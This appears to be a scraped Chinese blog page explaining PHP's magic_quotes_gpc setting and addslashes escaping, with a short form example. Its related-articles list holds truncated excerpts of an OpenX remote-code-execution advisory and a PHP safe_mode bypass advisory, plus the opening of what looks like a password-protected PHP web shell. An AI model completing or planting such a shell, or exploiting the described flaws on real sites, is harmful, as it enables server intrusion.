php函数get_magic_quotes_gpc详解
set_magic_quotes_runtime是用来设置PHP 环境配置的变量 magic_quotes_runtime 值。
0-关闭 1-打开
程序中检测状态用get_magic_quotes_runtime,返回 0 表示关闭本功能;返回 1 表示本功能打开。若
magic_quotes_runtime 打开时,所有外部引入的数据库资料或者文件等等都会自动转为含有反斜线溢出字符的资料。
本
函数取得 PHP 环境配置的变量 magic_quotes_gpc (GPC, Get/Post/Cookie) 值。返回 0
表示关闭本功能;返回 1 表示本功能打开。当 magic_quotes_gpc 打开时,所有的 ' (单引号), " (双引号), \
(反斜线) and 空字符会自动加上转义符\;
默认情况下,PHP 指令magic_quotes_gpc为 on
,它主要是对所有的 GET、POST 和 COOKIE (即G P C)数据自动运行 addslashes()
。不要对已经被
magic_quotes_gpc
转义过的字符串使用 addslashes()
,因为这样会导致双层转义。遇到这种情况时可以使用函数
get_
magic_quotes_gpc()
进行检测。
其实这个函数就是判断有PHP有没有自动调用addslashes
这个函数,
下面是例子,其实也是从手册上弄下来的,传过来就为自己看着方便,因为自己记性不好..
<
html
>
<!--以POST方式传过去一个带有单引号的字符串 -->
<
body
>
<
form
action
="first.php"
method
="post"
>
<
input
type
="text"
name
="lastname"
value
="Simao'pig"
>
<
input
type
="submit"
value
="提交"
>
</
form
>
</
body
>
</
html
>
<?php
echo
get_magic_quotes_gpc
(); &nb
相关文档:
java的写法
/**
*
* @param location
* @param nameList保存结果的!
*/
public void listDict(String location, List<String> nameList) {
File fileList = new File(location);
if (fileList.isDirectory()) {
File[] files = fileList.listFiles();
for (File f : files) {
i ......
OpenX adserver version 2.8.1 and lower is vulnerable to remote code
execution. To be exploited, this vulnerability requires banner / file
upload permissions, such as granted to the 'advertiser' and
'administrator' roles.
This vulnerability is caused by the (insecure) file upload mechanism of
af ......
BUGTRAQ ID: 36555
CVE ID: CVE-2009-3557
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的tempnam()中的错误可能允许绕过safe_mode限制。以下是ext/standard/file.c中的有漏洞代码段:
PHP_FUNCTION(tempnam)
{
char *dir, *prefix;
int dir_len, prefix_len;
size_t p_len;
char ......
PHP 中巧用数组降低程序的时间复杂度
王 丹丹, 高级软件工程师, IBM
2009 年 11 月 26 日
本文主要是介绍在 PHP 的编程中,如何巧用数组来降低因多层循环而引起的时间复杂度的问题。特别是当程序需要多次与数据库交互时,用此方法来优化你的代码,将会带给意想不到的效果。
通常开发人员在写程序的时候,往往是把已经设 ......
<?php
#--Config--#
$login_password= '123456'; //这是密码
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......